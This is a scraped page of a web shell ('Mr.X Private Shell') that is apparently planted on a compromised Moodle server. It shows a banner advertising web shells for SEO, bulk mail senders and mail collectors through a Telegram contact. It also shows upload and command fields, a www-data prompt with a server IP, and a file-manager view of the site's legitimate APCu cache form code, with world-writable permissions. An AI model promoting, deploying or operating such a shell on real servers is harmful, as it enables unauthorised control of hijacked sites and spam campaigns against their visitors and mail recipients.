__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Form for adding a apcu instance.
 *
 * @copyright  2014 Sam Hemelryk
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class cachestore_apcu_addinstance_form extends cachestore_addinstance_form {
    /**
     * Add the desired form elements.
     */
    protected function configuration_definition() {
        global $CFG;
        $form = $this->_form;
        $form->addElement('text', 'prefix', get_string('prefix', 'cachestore_apcu'),
            array('maxlength' => 5, 'size' => 5));
        $form->addHelpButton('prefix', 'prefix', 'cachestore_apcu');
        $form->setType('prefix', PARAM_TEXT); // We set to text but we have a rule to limit to alphanumext.
        $form->setDefault('prefix', $CFG->prefix);
        $form->addRule('prefix', get_string('prefixinvalid', 'cachestore_apcu'), 'regex', '#^[a-zA-Z0-9\-_]+$#');
        $form->addElement('header', 'apc_notice', get_string('notice', 'cachestore_apcu'));
        $form->setExpanded('apc_notice');
        $link = get_docs_url('Caching#APC');
        $form->addElement('html', nl2br(get_string('clusternotice', 'cachestore_apcu', $link)));
    }

    /**
     * Validates the configuration data.
     *
     * We need to check that prefix is unique.
     *
     * @param array $data
     * @param array $files
     * @param array $errors
     * @return array
     * @throws coding_exception
     */
    public function configuration_validation($data, $files, array $errors) {
        if (empty($errors['prefix'])) {
            $factory = cache_factory::instance();
            $config = $factory->create_config_instance();
            foreach ($config->get_all_stores() as $store) {
                if ($store['plugin'] === 'apcu') {
                    if (isset($store['configuration']['prefix'])) {
                        if ($data['prefix'] === $store['configuration']['prefix']) {
                            // The new store has the same prefix as an existing store, thats a problem.
                            $errors['prefix'] = get_string('prefixnotunique', 'cachestore_apcu');
                            break;
                        }
                    } else if (empty($data['prefix'])) {
                        // The existing store hasn't got a prefix and neither does the new store, that's a problem.
                        $errors['prefix'] = get_string('prefixnotunique', 'cachestore_apcu');
                        break;
                    }
                }
            }
        }
        return $errors;
    }
}

Filemanager

Name Type Size Permission Actions
classes Folder 0777
lang Folder 0777
tests Folder 0777
addinstanceform.php File 3.16 KB 0777
lib.php File 12.79 KB 0777
settings.php File 1.25 KB 0777
version.php File 1.03 KB 0777
Filemanager